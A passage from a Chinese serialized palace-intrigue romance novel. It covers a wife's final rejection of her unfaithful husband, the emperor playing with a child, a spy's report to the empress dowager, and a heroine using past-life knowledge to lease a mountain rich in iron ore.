吕氏脸上温暖的笑意淡了下去,却没立刻说话,只转身在临窗的罗汉床上慢慢坐下了,端起方才丫鬟新沏的茶,轻轻吹了吹浮沫。 薛嘉言见状,挥手让门房先退下候着,自己走到母亲身边,斟酌着语气,低声将薛千良这大半年的情形简单说了:“自您走后,爹他……倒是消停了不少。没再整日不着家地乱跑,大半时间都待在家里,只是人瞧着有些闷闷的。隔三岔五便派小厮或管事来我这胡同附近转悠,也不进来,只远远打听您可有消息传回。” 她顿了顿,声音更低了些,“至于风筝胡同那位……吕舟前两个月来回话,说爹私下里给了她一笔不小的银子,让她带着那孩子……走了。具体去了哪儿,我没细问,爹也没提。” 吕氏静静地听着,面上无波无澜,仿佛在听一件与己无关的闲事。直到薛嘉言说完,她才将茶盏轻轻搁在身旁的小几上,发出一声轻微的脆响。 “自己造下的孽,就这么拿银子打发了?”吕氏的声音很淡,听不出什么情绪,却带着一种冰凉的穿透力,“他果然是没个担当的。” 她抬眼望向窗外渐沉的暮色,冷冷道:“若是他真有几分胆色,将那女人和孩子堂堂正正带回族里,开祠堂,认祖归宗,给个名分,我倒也敬他敢作敢当,是个人物。可如今这般……” 吕氏摇了摇头,语气里是彻底的失望与鄙夷,“偷偷摸摸地弄出个孩子,又偷偷摸摸地用银子打发掉,算什么?” 时过境迁,心境迥异。这么多年她一直觉得薛千良纯净似水,孩童心性,当知道那些事后,水里滴进了墨汁,就再难回到纯净的状态了。 这大半年,走过千里黄沙,见过长河落日,经历了生死边缘的挣扎与异域风霜的洗礼,再回头看他,只觉得更加唏嘘。 “娘……”薛嘉言看着母亲眼中清晰无比的疏离与冷淡,心中五味杂陈。 第227章 忘不了 吕氏沉默了片刻,最终却只化作一声叹息。她站起身,理了理衣袖,对薛嘉言道:“罢了,总是要有个了断。我去打发了他吧。” 薛嘉言看着母亲挺直的背影,想说些什么,终究没有开口。 花厅里,薛千良正背着手,心神不宁地踱着步。听到门口的动静,他猛地转过身,见是吕氏进来,脸上立刻堆起一个局促又急切的笑容,几步迎上前:“夫人,你……你回来了。这一路可辛苦?怎么……怎么不回家去住?家里一切都好,屋子日日有人打扫……” 吕氏没有立刻回应,只是静静地打量着眼前这个与自己做了二十多年夫妻的男人。 不过大半年光景,他竟憔悴了许多,眼角的皱纹深了,鬓边也添了不少白发,原先那种世家公子养尊处优的儒雅气度,如今被一种挥之不去的郁色和小心翼翼所取代。 吕氏心中微微一刺,那毕竟是曾经深爱过的人,但随即,更多的是一种近乎麻木的平静。 她轻轻叹息一声,语气是薛千良从未听过的疏离与淡漠:“我在京城待不了几日,只想多陪陪自己的孩子。你若觉得府里孤寂,不如搬回国公府去住些日子。国公爷与你毕竟是亲生父子,血脉相连,想来……总会善待你的。” 她的话说得客气,甚至带着一丝为他着想的意味,可字里行间,却将两人的界限划得清清楚楚——他的去处是国公府,她的归处是孩子身边,他们已经不是“回家”可以同路的人了。 薛千良脸上的笑容僵住了,眼底迅速漫上一层慌乱和难以置信的痛楚。他听懂了吕氏的言外之意,嘴唇哆嗦着,声音带了哽咽:“阿竹……你……你真的不要我了吗?真的……再也不回去了吗?” 吕氏看着他泛红的眼眶,她摇了摇头,声音依旧平静:“崇安,你我之间,从一开始就源于你的算计与欺瞒。或许……这本就注定了难以长久。这段日子在外,我想了很多,很多事也渐渐看明白了。我无法接受你背着我在外做的那些事,不仅仅是那一个孩子,更是长达十年的欺骗与隐瞒。就算我们勉强住在同一个屋檐下,也绝不可能再有从前的日子了。既然如此,何必彼此折磨?不如就此分开,各自安好,对谁都是一种解脱。” “不!我不同意!”薛千良情绪激动起来,上前一步想要抓住吕氏的手,却被她不动声色地避开,“阿竹,你原谅我,原谅我这一次!那件事……那真的只是意外!是我一时糊涂,我后来也很后悔,我不知道她会怀孕……阿竹,我心里只有你啊!” “意外?”吕氏终于忍不住,眼底浮现出一抹厌恶,“薛千良,你能不能有点担当?怎么,是那姑娘强暴了你吗?一个‘意外’,能让你在外留下一个八九岁的孩子,还能瞒我十年之久?你有整整十年的时间可以向我坦白,可以妥善处理,可你没有!你只是享受着齐人之福,东食西宿,把我像个傻子一样蒙在鼓里!事到如今,你还在这里装无辜,扮可怜,把所有过错推给‘意外’。你走吧,我不想看到你。” 薛千良浑身剧震,脸色瞬间惨白如纸,仿佛支撑他的最后一点力气也被抽走了。他踉跄了一下,竟“扑通”一声直挺挺地跪倒在地,不顾体面地伸出双臂,紧紧抱住了吕氏的小腿,将脸埋在她的裙摆间,像个无助的孩子般呜咽起来:“阿竹……阿竹……我错了,我真的知道错了……咱们二十多年的夫妻感情啊,难道你就不能……不能原谅我这一次吗?你看在孩子的面子上,看在咱们这么多年……” 吕氏任由他抱着,没有挣扎,也没有安抚。小腿上传来的颤抖和湿意是真实的,他此刻的痛苦或许也是真实的。但她心中那片曾经为他热烈跳动的地方,如今只剩下一片冰冷的酸楚。 她十六岁情窦初开,在丹阳老家第一次见到他,自此一颗心便系在了他身上,眼里心里全是他。可到头来,原来最初的美好相遇都掺杂着算计,二十多年的恩爱夫妻背后,是长达十年的背叛与欺瞒。 她知道,人都是需要发泄情绪的,痛哭一场或许反而能让人更冷静地面对现实。所以,她没有推开他,只是像一尊没有温度的雕像,静静地站着,目光投向花厅外渐渐暗沉的天色。 薛千良哭了许久,哭得声嘶力竭,将压抑了大半年的惶恐、悔恨、无助都倾泻了出来。可怀中的腿没有丝毫暖意,头顶上方的人也始终沉默。他终于慢慢止住了哭泣,抬起满是泪痕、狼狈不堪的脸,松开了手,自己撑着地面,有些摇晃地站了起来。 他用袖子胡乱擦了擦脸,声音嘶哑得厉害,却带着最后一丝卑微的期盼:“阿竹……你……你要去哪里?回丹阳吗?我陪你回去,好不好?咱们一起回丹阳去,再也不回京城这个是非地了。我们忘记这里的一切,重新开始,就像……就像我们刚成婚时那样,好不好?” 吕氏的确是打算回丹阳的,那片生她养她的江南水乡,才是她心灵的归宿。但是,同行的人,绝不可能再是薛千良。 她缓缓转回头,目光冷淡地扫过他充满希冀的脸,清晰而决绝地吐出几个字: “不必了。” “我记性很好,忘不了。” “你回去吧。别弄得太难看,也别……总跑戚家来丢人现眼。” 说完,她不再看他瞬间灰败下去的脸色,转身,步履平稳地走出了花厅,将那个曾经是她整个世界的男人,彻底留在了身后那片逐渐浓重的暮色与绝望里。 第228章 骑大马 吕氏在家休整了一日,略解旅途疲乏。说好了两日后请苏辞上门做客,也好当面感谢他一路护送之情。 就在苏辞来做客的前一日,恰逢休沐。姜玄早早便带着阿满出了宫,去了枫林苑。 枫林苑内,甄太妃早已候着,一见乳母抱着阿满进来,她立刻起身迎上,小心翼翼地将孩子接过来,搂在怀里便舍不得撒手,细细端详着阿满越发清晰俊秀的五官,忍不住对姜玄叹道:“这孩子,真是越大越像你小时候了。瞧这眉眼,这神态……只是比你那时要壮实爱笑得多。”话语里满是怜爱与感慨。 不多时,薛嘉言带着棠姐儿到了。甄太妃见到棠姐儿,眼前也是一亮。小姑娘继承了母亲的好样貌,玉雪可爱,举止落落大方,叫人一看便心生欢喜。 甄太妃招手让她过去,亲手拿了案几上精致的点心给她吃,又让人捧来一个紫檀木匣子,里面装着各色小巧可爱的金玉玩意、珍珠串子等,任由棠姐儿挑选玩耍。 趁着甄太妃逗弄棠姐儿的空隙,薛嘉言向姜玄递了个心照不宣的眼神,便转身进了里间去看阿满。她将孩子从乳母怀中接过,细细地问起这几日的饮食起居、睡眠玩耍等琐事,仿佛要将分离时日里缺失的关注都补回来。 外间,棠姐儿得了新玩具,又见这位“戚伯伯”也在,便没那么拘束了。这段时间,姜玄私下里与薛嘉言相会时,偶尔也会带上棠姐儿一两回,次数虽不多,但棠姐儿能感受到这位高大的“伯伯”对自己的善意和喜爱,那份最初的陌生与客气便淡去了许多。 她玩了一会儿手中的珠串,忽然抬起头,乌溜溜的大眼睛望向坐在一旁的姜玄,带着孩童纯真的期盼,脆生生地问道:“戚伯伯,你能跟我玩骑大马吗?” 姜玄闻言一愣:“骑大马?怎么玩啊?”他自幼在冷宫中艰难求生,童年只有生存的挣扎与冰冷的宫墙,何曾有人与他玩过这般天真烂漫的游戏? 棠姐儿认真地比画着解释:“我娘说,就是一个人趴在地上当马,另一个人骑在他的背上,在地上爬着玩。我娘小时候,在丹阳老家,就有一个哥哥总给她当马骑呢!明天我们还要见那个哥哥!” 孩童的话语天真无邪,却让一旁的甄太妃微微蹙了下眉,觉得让皇帝趴在地上扮马,实在有失体统,于礼不合。她轻轻清了一下嗓子,正欲开口委婉提醒。 姜玄却似有所觉,抬眼看向甄太妃,含笑摇了摇头,眼神温和却坚定,低声道:“无妨的,不过是陪孩子玩耍罢了,无需拘泥那些虚礼。” 甄太妃见他如此,便也不再说什么,只慈爱地看着。 姜玄当即撩起袍角,毫不迟疑地便在铺着厚厚绒毯的榻上俯下身,四肢着地,稳稳地撑住,然后回头对棠姐儿笑道:“好,来,栖伯伯今天就给我们棠姐儿当一回大马。可要坐稳了!” 棠姐儿见他真的趴下了,高兴的小脸放光,欢呼一声,爬到了姜玄宽阔坚实的背上,小手紧紧抓住他肩部的衣料。 “驾!驾!戚伯伯快跑!”棠姐儿兴奋地喊着,一眼瞥见甄太妃搁在旁边的白玉拂尘,顺手拿了过来,当作马鞭,有模有样地轻轻挥动着。 姜玄便真的驮着她,在宽敞的榻上缓缓地、稳稳地爬动起来,还配合地发出几声模仿马儿的轻嘶,逗得棠姐儿咯咯直笑,清脆的笑声充满了整个厅堂。 薛嘉言恰好从里间出来,一眼便看到这温馨又有些令人忍俊不禁的一幕——当今天子毫无形象地趴在榻上,驮着她的女儿,脸上带着纵容而愉悦的笑容;而棠姐儿则笑得见牙不见眼,全然信赖与欢乐。 一股暖流夹杂着丝丝酸涩的感动涌上薛嘉言的心头,化作唇边一抹温柔至极的笑意,心中默默叹道:爱屋及乌,果然是不错的。 甄太妃在一旁看着,起初的些许担忧也化作了感慨与欣慰。这冰冷宫廷里难得一见的人间温情,或许,正是眼前这个自幼缺失太多的年轻皇帝,内心深处最渴望也最珍惜的东西。 在枫林苑用完一顿温馨的午膳后,棠姐儿到底年纪小,玩闹了一上午,困意上来,开始不住地打哈欠,薛嘉言让司雨抱着她去厢房睡午觉。 屋内终于只剩下姜玄与薛嘉言二人。宫人早已悄然退下,掩好了门扉。难得的独处时光,情意正浓。姜玄将薛嘉言揽入怀中,低头寻到那思念已久的唇,温柔而深入地吻了下去。薛嘉言回应着他的热情,一室静谧,唯有彼此交缠的呼吸和衣料摩挲的细微声响。 缠绵过后,薛嘉言气息微乱,脸颊绯红,乖顺地倚偎在姜玄坚实的胸膛上,听着他的心跳,只觉得前所未有的安心与满足。她想起方才他驮着棠姐儿玩耍的情形,忍不住抬手轻轻戳了戳他的胸口,语带娇嗔:“你也太惯着孩子了。等阿满再大一些,你不会也这么由着他吧?那可不行,慈父多败儿……” 姜玄低笑,胸腔传来微微的震动,他捉住她作乱的手指,放在唇边吻了吻,声音还带着情动后的微哑:“我没见过寻常人家的父亲是怎么做的,宫里……更没有可参照的。我只是想把所有我能给的、最好的东西,都给他们。”他的语气里有一丝不易察觉的怅惘,随即被更深的温柔覆盖,“看到棠姐儿笑得那么开心,我也觉得高兴。” 薛嘉言闻言,心中微软,抬手抚上他的脸颊,指尖感受着他肌肤的温度。她心想,这世间多少父亲,名分俱全,却对孩子漠不关心,有了如同没有。 姜玄忽然想起棠姐儿“骑大马”前提到的那个“哥哥”,问道:“棠姐儿说的,你小时候总给你当马骑的那个哥哥,是谁家孩子?” 薛嘉言笑了笑,并不隐瞒:“是苏伯远的大儿子,名叫苏辞。这次便是他一路护送我娘从鞑靼回来的,路上颇为周全靠得住。我娘已与他约好,明日过府做客,正式答谢他一番。” 姜玄想了想苏伯元的相貌,想来他的儿子,大抵也是个相貌寻常无奇的年轻人罢了。他并未将此事放在心上,只点了点头:“千里迢迢,护送长辈平安归来,确实该当重谢。你看着安排便是。” 第229章 查探 姜玄顿了顿,想起另一桩正事,又道:“另外,今年北边商路的生意,你正好趁此机会,与他仔细交代清楚。还有,安排他与苗菁见一面。” “嗯,知道了。”薛嘉言应下,“生意上的事不必担心,也不是头一年做了。与苗菁见面的事,我也会安排。” 她想起另一件事,征询道:“还有一事,雍王府的明真郡主,想跟着苏家商队做些买卖,赚些体己。你觉得可行吗?” 姜玄略一思忖,淡淡道:“女眷们赚点脂粉钱的私房买卖,无伤大雅,随她去吧。此番削藩,雍王府是出了大血的,我也不好赶尽杀绝,连条财路都不给人留。只要她安分守己,不借机生事,便由着她。” 薛嘉言点头:“我也是这般想。雍王府的封地,恰好处在京城通往鞑靼的必经之路上,日后商队往来,难免有需要行方便的时候。如今结个善缘,与人方便,自己也得利。若将来真有什么事需要明真郡主帮衬一二,想来她看在合作的情分上,也不会袖手旁观。” “明真那丫头,是个明白人。”姜玄评价道,“上回花会,薛二借她算计你,她明面上全了薛二的脸面,未当场撕破,私底下却立刻疏远了,这次离京前都未再与薛二往来。识时务,知进退。” 他低头看着怀中的薛嘉言,手指缠绕着她一缕柔滑的青丝,缓声道:“你如今是朝廷正式敕封的诰命夫人,品级已在薛二之上。等过两年,风头再平些,朕再寻个由头,给你把品级往上提一提。” 薛嘉言依偎着他,闻言并未谦辞推却。既然决定了要站在姜玄身边,要为阿满的将来铺路,为自己和孩子们挣一个安稳尊荣的未来,那么,权势地位自然是越稳固、越显赫越好。 她轻轻“嗯”了一声,算是应下,又将脸往他怀里埋了埋,汲取着令人安心的温暖。 当夜,长乐宫内烛火通明,熏香袅袅,掩盖着暗流涌动的气息。 一名穿着普通宫女服饰、面容平凡无奇的女子垂首立于殿中,正是观星台埋藏极深的暗探,名唤井月。她声线平稳低沉,正向着斜倚在凤榻上的太后回禀近日所查。 “启禀娘娘,关于皇上用以拿捏雍王的把柄,属下已查探出六七分眉目。据查,雍王此次奉召进京时,其随行队伍中一直有一人,被数名心腹高手暗中保护,却也形同软禁,从未在人前露面,行踪极其隐秘。” 太后半阖着眼,有一下没一下地拨弄着腕上的沉香木佛珠,闻言并未作声,只静静听着。 “明真郡主在京参加花会那日,雍王府后宅曾有过一阵短暂的骚动,似乎有外人闯入,但很快便被压下,未引起外界注意。然而事后,雍王府内部却悄无声息地处置了四名仆役侍卫,对外宣称是急病暴毙。属下等顺着这条线细查,发现那四人均与看守那神秘人有关。结合种种迹象推断,雍王暗中保护——或者说软禁的那个人,就在花会当日,被人劫走了。而劫走之人行事利落,未留活口线索,但雍王事后反应异常乖顺,主动上表削藩……此事,恐非巧合。” 太后原本半阖的眼眸倏然睁开,内里精光一闪。她身体微微前倾,显露出了浓厚的兴趣:“被人劫走?是什么人,竟能让雍王如此紧张,甚至不惜软禁,又能让皇帝拿来作为要挟的筹码?” 她飞快地在脑中过了一遍雍王可能掌握的、能威胁到皇帝或令皇帝在意的人或物,一时却无头绪。 井月从怀中取出一卷细细卷起的画轴,双手呈上。旁边侍立的沁芳上前接过,在太后面前徐徐展开。 画纸有些粗糙,笔触也略显生硬,显然是依据口述匆忙绘就。但画中人的轮廓与神韵,却捕捉得颇为传神。那是一个身着素雅道袍的女子,云鬓轻挽,面容清瘦姣好,眉眼间带着一种历经世事后的平静与疏离,自有一股出尘气度。 太后看到画中人,眼神明显怔了一下。 这张脸……她自然是认得的。虽然画得不算十分精确,但那眉眼间的韵味,尤其是那份特有的、与这深宫格格不入的淡泊气质……是甄氏! 电光火石间,太后脑中已飞速串联起诸多线索:姜玄在冷宫时甄氏的照拂……先帝下葬前“暴病而亡”的甄太妃……雍王进京时秘密携带的人……花会当日后宅骚动与随后的“暴毙”……雍王在皇帝面前的骤然屈服与主动削藩…… 一切关节,不言自明。 只怕是雍王不知用了什么手段,竟暗中控制住了假死脱身或者被姜玄暗中救走的甄太妃,将其秘密带入京城,本想作为关键时刻要挟皇帝、换取自身利益的筹码。却不料皇帝棋高一着,反手便将人救走,不仅解除了威胁,更反过来捏住了雍王的把柄,逼得雍王不得不就范,乖乖交出部分兵权。 想通此节,太后忽然轻笑出声,带着几分嘲弄,几分了然。 “呵……”她向后靠回柔软的引枕,目光重新落在那幅画像上,语气悠长而意味深长,“这皇宫啊……真是有意思。” “没进来的人,拼了命、使尽浑身解数也想挤进来。可真正进来了,在这四四方方的天底下活过的人,却一个个的……都想方设法要逃出去……” 沁芳和井月垂首侍立,屏息静气,不敢接话。 井月见太后对那画中人似乎失了深究的兴趣,便请示道:“娘娘,画中人的下落……是否还要属下继续追查?” 太后摇了摇头,目光从那幅画像上移开,恢复了惯有的淡漠:“罢了。不是什么紧要的人,不必特意耗费人力去查,留心着些就行了。” 说完甄太妃的事,太后端起手边温热的参茶,呷了一口,问道:“鸿胪寺那个叫戚少亭,到底因为什么得罪了皇帝,可都查清楚了?” 井月立刻躬身答道:“回娘娘,戚少亭家中人口简单,父母早亡,只有一房妻室并一双儿女,并无复杂亲族。戚家本是通州寻常百姓,后来靠着戚少亭的岳家,才得以在京城立足。其妻薛氏,便是去年因‘行商被朝廷褒奖、敕封了宜人的那位。这薛氏虽是国公府出身,但与国公府本家来往极少,性子据说也颇为贞静低调,并无什么不妥之处……” “这些细枝末节不必多说,”太后有些不耐地打断了井月的禀报,“本宫要知道的是‘不对’的地方。戚少亭一个芝麻小官,如何能劳动皇帝亲自过问,他必定有不同寻常的牵连。说重点。” 第230章 尚无子嗣 “是。”井月心头一凛,不敢再铺垫,忙将查到的、最可能触及关键的信息道出,“属下多方查探,戚少亭平日为人谨慎,交际简单,唯独有一事或许……有些蹊跷。他似与晖善长公主府,来往颇为密切。” 太后眉梢微挑:“哦?晖善?” “是。据查,约一年前,戚少亭随鸿胪寺官员前往大同府迎接鞑靼使团,归途中遭遇袭击,恰好长公主的仪仗途经附近,将其救下。自此,戚少亭便成了长公主府的座上宾。公主府的人说,戚少亭擅长书画鉴赏与修补,长公主似乎颇为赏识他这点才学,时常召他过府,或是品评新得的字画,或是修缮一些古旧卷轴。这本也无甚特别,但……” 她抬眼飞快地觑了一下太后的神色,继续道:“但就在戚少亭暴毙前约一个月,公主府的侍女发觉,那几日戚少亭去得格外勤,几乎隔一两日便要去一趟。而且……长公主对他的态度,似乎也有些不同寻常的……亲昵。” 太后听到这里,有些索然无味,晖善的德性她是知道的,难道又是一桩风月丑闻? 井月深吸一口气,说出最关键的部分:“戚少亭死后半个多月,有一日午后,他又被召入公主府。长公主照例让他在书房做事,午歇时,长公主忽然唤了戚少亭进去。据当时在廊下侍奉的侍女事后回忆,戚少亭进去了一刻钟左右,内室传来长公主一声清晰的怒斥,似乎砸了什么东西,骂了一句‘没用的废物!’。侍女正犹豫着要不要进去伺候,却见戚少亭低着头,从内室方向快步走了出来,脸色惨白如纸,衣衫凌乱,领口的扣子都系错了一颗。” “那侍女心中惊疑,不敢多看,只低头候着。戚少亭几乎是踉跄着冲出了院子,之后再未踏足公主府。没过多久,便传出了他酒后暴毙在巷口的消息。而此时,戚少亭的父亲才去世了三个月……” 太后听完,眉头紧紧蹙起,陷入沉思。 戚少亭与晖善长公主有私情?这听起来,像是一桩长公主帷幄不修、戚少亭试图攀附却弄巧成拙的风流孽债。长公主跟个热孝里的男子调情,皇帝若是知道了此事,为了维护长公主的声誉,暗中默许甚至帮忙掩盖,也说得通。 但……太后总觉得哪里不对。 “只怕……未必就是这么一桩简单的风月之事。”太后缓缓开口,“晖善行事再荒唐,尺度向来拿捏得清楚,这点小事她自己都能解决,还劳动了皇帝过问?” 她顿了顿,目光锐利地看向井月:“这其中,怕是另有猫腻。你再去细查,务必弄清楚,晖善与那戚少亭之间,除了男女私情,可还有别的勾连?钱财往来?公务牵扯?或是……知道了什么不该知道的?” 太后心中确实浮起一丝怪异之感。 细细想来,这两年,姜玄对晖善这位皇姐的态度,似乎格外宽容,甚至可称纵容。不仅允她长留京城,享尽逍遥,朝中偶有御史参奏长公主行事逾矩、荒淫,姜玄也都是“高高拿起,轻轻放下”,申饬几句便罢了,从未有过实质惩处。这份维护,倒真有了几分寻常人家亲厚姐弟的模样。 可姜玄与晖善,是“寻常姐弟”吗? “属下明白。”井月躬身应道。 太后微微颔首,闭上了眼睛,示意井月可以退下了。 戚家,春和院的花厅里,却是另一番温暖热闹的景象。 今日设宴为苏辞接风洗尘,厅内布置得雅致而不失喜庆。吕氏坐在上首,满面笑容。薛嘉言陪坐在母亲下首,棠姐儿乖巧地偎在她身边。 满座之中,最引人注目的便是那位远道而来的客人——苏辞。他身量高大,肩宽背阔,穿着一袭沉稳的暗蓝色云纹锦袍,腰间束着同色革带,身姿挺拔如松。 他的容貌算不得极其俊美,但眉目疏朗,鼻梁高挺,极富男子气概。因常年在外奔波,肤色是健康的微黑,更添了几分沉稳可靠的气度。 薛嘉言看着眼前这个与记忆中青涩少年截然不同的男子,心中亦是感慨,笑着开口道:“苏大哥,一别经年,你这通身的气度,跟从前可是大不一样了。若不是娘亲介绍,走在街上,我怕是都不敢认了。” 苏辞闻言,目光落在薛嘉言身上,眼中亦有温和的笑意:“是啊,一晃竟已十六七年了。嘉嘉如今已是两个孩子的母亲了。” 苏辞说着,看向依偎在薛嘉言身边的棠姐儿,眼神柔和:“这就是棠姐儿吧?长得真像你娘亲小时候。” 他从怀中取出一个用软布仔细包裹的小物件,打开来,里面是一只雕工颇为灵巧的白玉小兔子,玉质温润,憨态可掬。“这是苏伯伯在路上闲着没事雕着玩的小玩意,送给棠姐儿玩,可好?” 吕氏在一旁笑着补充道:“路上子玉就问了我棠姐儿喜欢什么,我说这孩子属兔。他有空就拿着块玉石琢磨,没想到还真雕成了。这孩子,手巧,心也细。” 薛嘉言对棠姐儿点点头:“棠姐儿,收下吧,快谢谢苏伯伯。” 棠姐儿接过那只玉兔,捧在小小的手心里仔细看了看。玉兔雕的确实可爱,但她觉得,好像还是戚伯伯送的那个更得她喜欢。不过她牢牢记着娘亲的叮嘱,不能在外人面前提起戚伯伯,便只是乖巧地仰起脸,对苏辞露出一个甜甜的笑容:“谢谢苏伯伯。” 薛嘉言见气氛融洽,便自然而然地关切起苏辞的家事,想着以此拉近些距离,也好表达谢意:“苏大哥的孩子多大了?是哥儿还是姐儿?京城里新鲜有趣的玩意多,回头我多准备一些,你带回去,哄孩子们玩。” 她想着苏辞已二十六七岁,按照常理,早就该儿女成行,苏家又不缺银钱,妻妾想来不少,孩子只怕还不止两三个。 谁知,苏辞脸上的笑容却淡了些,他端起茶杯,垂眸抿了一口,才抬起眼,语气平静地回道:“我……尚无子嗣。” 薛嘉言闻言,顿时有些诧异,意识到自己可能问了不该问的。寻常男子到这个年纪尚无子嗣,要么是身体有恙,要么是夫妻感情或家宅有难言之隐。无论是哪种,都是极私密的事。 她连忙敛去惊讶之色,面上闪过一丝尴尬,干笑一声,借着为他斟茶的动作掩饰过去:“哦……是这样。苏大哥,请喝茶,这是今年的明前龙井,你尝尝。” 第231章 铁矿 一番家常寒暄之后,吕氏知道女儿与苏辞还有正事要谈,便找了个由头,笑着牵起棠姐儿的手:“棠姐儿,外祖母带你去看院子里新开的菊花,有好几种颜色呢,可好看了。”说着,便领着棠姐儿出了花厅。 厅内顿时安静下来,只剩下薛嘉言与苏辞二人。丫鬟早已被薛嘉言示意退至门外廊下候着。 薛嘉言敛去方才家宴时的轻松笑意,神色变得认真而沉稳。她为苏辞续了茶,开门见山道:“苏大哥,一路辛苦。咱们先说说正事。福运商行的粮食和布料生意,如今已经上了轨道,走顺了,多亏了苏伯伯和你的帮衬,今年走货的数量,比去年翻了一番不止。” 苏辞道情:“是,鞑靼那边如今都已认准了‘福运商行’的牌子,一是质量稳定,二是信誉极好。不止是鞑靼,如今连旁边挨着的乌洛兰部、还有更西边一点的赫哲部,也都透露出想跟你们长期合作的意思。他们的需求也不小,尤其是过冬的粮食和厚实的棉布、毛料。” 薛嘉言仔细听着,当苏辞提到“赫哲部”时,她的手指猛地一顿,眼睛倏地亮了起来。 赫哲部…… 这个名称像一把钥匙,瞬间打开了前世记忆深处某个尘封的匣子。她恍惚间,仿佛又回到了那座冰冷华美的宫殿里,回到前世生命最后那段灰暗绝望的时光。 前世,就在她临死前的几个月,姜玄有一日难得的带着抑制不住的兴奋告诉她,与赫哲部交界的一处荒僻山头,发现了储量惊人的优质铁矿!为了得到那座山的开采权,他费了极大的心思周旋,甚至动用了一些不太光彩的手段,终于将那片山头牢牢抓在了手中。 她记得他当时眼睛很亮,握着她的手,声音里充满了对未来的憧憬:“言言,你明白吗?有了这座矿,未来十几年,甚至几十年,大兖的军械粮草都会宽裕许多!边关能更稳,将士们能更好武装……这是国之重器!” 可那时的她,早已心灰意冷,对所谓家国天下、宏图霸业提不起半分兴趣,她只是漠然地抽回手,转过脸,淡淡地“哦”了一声。 她的冷淡像一盆冰水,浇熄了姜玄大半的热情。他脸上的兴奋之色迅速褪去,眼神黯淡下来,沉默了很久。 后来……他大概是觉得无力,又或是被她那种拒人于千里之外的漠然激起了偏执,最终还是像往常一样,带着不容拒绝的力道将她拥入帷帐。可那一次,情事进行到一半,他忽然毫无预兆地停了下来,撑在她上方,黑暗中,他的呼吸粗重而压抑,良久,才用一种近乎绝望的沙哑声音说:“你若是……实在不愿意,我……我以后不再烦你。” 那句话里包含了多少无奈、痛楚和近乎卑微的让步,当时的她竟未能细品,只觉得是一种解脱的许诺,心底甚至掠过一丝快意…… “嘉嘉?” 苏辞略带疑惑的声音,骤然打断了薛嘉言纷乱而痛苦的思绪。她猛地回神,借低头喝茶的动作掩饰瞬间的失态。再抬头时,面上已恢复了平静。 那座山……那座蕴含巨量铁矿的山!如今,它应该还是赫哲部领地内一座无人问津的荒山! 薛嘉言深吸一口气,强迫自己冷静下来,略一思索,看向苏辞,试探着问道:“苏大哥,你方才说赫哲部也想买粮买布,他们……拿什么来换?若是银钱不凑手,可用货物抵偿。我听说他们那边有不少荒废的山头……不如,问问他们,愿不愿意拿一座山头来换?” 苏辞闻言,诧异地挑了挑眉,显然没料到薛嘉言会提出这样的交易方式。他想了想,摇头道:“以山易物?这……恐怕不易。虽说北地山多,许多山头看似无主,但各部族对领地界限颇为看重。即便是一座没什么出产的荒山,涉及土地,他们未必肯轻易让出。再者,我们要一座北地的荒山何用?运粮布过去已是不易,难道还要派人去开山垦荒不成?这生意,听起来有些不划算。” 薛嘉言知道苏辞的疑虑合情合理。她无法直言那山下埋着铁矿,那是明年才会被“发现”的秘密。她心念急转,迅速找到了解决办法: “并非要他们割让土地。”薛嘉言放缓了语速,“我的意思是……租。我们出钱粮布匹,租用他们一座贫瘠无用的山头三十年。租约期内,我们会在山上种植些耐寒的果树,比如山楂、枣树之类。雇请的工匠和照料果树的人手,可以从当地招募,也算给边民一份生计。三十年租约期满,那座山连同山上已成规模的果园,一并归还他们。届时,他们平白得一座能产出的果园,岂不美事?而我,只当是……行善积德,为边关百姓谋些福祉,也为商行在北地结个长久的善缘。” 苏辞蹙眉沉思,他虽觉得这项投资周期过长、回报不明,且带着浓厚的“慈善”意味,不像精明的商人所为。但薛嘉言态度坚决,理由也冠冕堂皇——福运商行如今生意做大,想博个“仁商”的名声,为长远计,倒也说得通。 略一沉吟,苏辞终是点了点头:“既然你执意如此,我便去与赫哲部的头人谈谈。成与不成,且看他们的意思和要价了。我会尽量周旋。” 薛嘉言心中稍定,感激道:“有劳苏大哥费心。” 生意上的大事暂告一段落,苏辞脸上的神情却并未放松,他放下茶杯,身体微微前倾,压低了声音:“嘉嘉,还有一事。你之前托我父亲暗中查访的关于高家的事情,有些眉目了。” 薛嘉言精神一振,目光瞬间变得锐利起来。 “苏大哥请讲。”她声音平稳,袖中的手却悄悄握紧。 第232章 瞧中 苏辞的神色变得更加郑重,声音也压得更低,确保只有他们两人能听清:“高家那边,行事极为谨慎周密。毕竟,私通外藩、走私禁物,是足以抄家灭族的大罪,他们敢做,就必定有遮掩的法子和依仗。鞑靼那边是实实在在的获利方,得了好处,嘴自然闭得紧,想从他们那边打开缺口,难如登天。” 他话锋一转,眼中闪过一丝锐利:“不过,咱们大兖这边,却未必铁板一块。高家走私多年,规模不小,边关卫所驻扎的官兵不可能全无所觉。要么是收了巨额贿赂,睁一只眼闭一只眼;要么……干脆就有人参与了走私,沆瀣一气。” 薛嘉言听得专注,微微颔首。 苏辞继续道:“我怀疑,大同边镇卫所的指挥使王川安,即便不是主谋,也必定知情,甚至很可能插了一脚。此人盘踞大同多年,根基深厚,关系网复杂。要动他,或者从他身上打开缺口,绝非易事。” 他见薛嘉言眉头微蹙,宽慰道:“你也别急,这种事急不来。我已经设法,安排了两个可靠又机灵的人,以不同身份慢慢接近王家。高家商队那边,也花重金买通了一个二管事,许了他全家南迁安顿的后路。眼下,我们能做的,便是静待时机,收集证据,等待他们自己露出马脚,或者创造机会让他们露出马脚。” 薛嘉言深知此事凶险,牵涉甚广,苏家父子能如此尽心尽力,已是天大的情分。她由衷感激道:“苏大哥,此事多亏你和苏叔叔费心周旋。我明白其中艰难,不急,稳妥为上。你们也务必小心,安全最要紧。” 说完这两件事,薛嘉言说起要安排苏辞与苗菁见面的事情,苏辞闻言道:“苗大人那边已经派人来找我了,约了明日见面。” 正事谈毕,气氛轻松下来。薛嘉言笑着道:“苏大哥今日既然来了,务必留下用顿便饭。我特意让厨房准备了一桌江南家乡的菜色,有些食材,在鞑靼那边只怕有钱也难寻到,正好让你尝尝鲜,解解乡愁。” 苏辞眼中暖意融融,欣然应下:“那便叨扰了。许久未尝地道的家乡风味,着实想念。” 说起江南,两人都有些怀念,闲聊起儿时在丹阳的趣事。苏辞忍俊不禁道:“你可还记得,有一年府里腌咸鸭蛋,你瞧着有趣,非要自己也弄一小坛。结果下人们腌得都出了油,香得很,唯独你那小坛子,打开后臭气熏天。当时管厨房的刘嬷嬷笑得直不起腰,打趣说‘大小姐这双手啊,生来就是享福的,可做不来活’。” 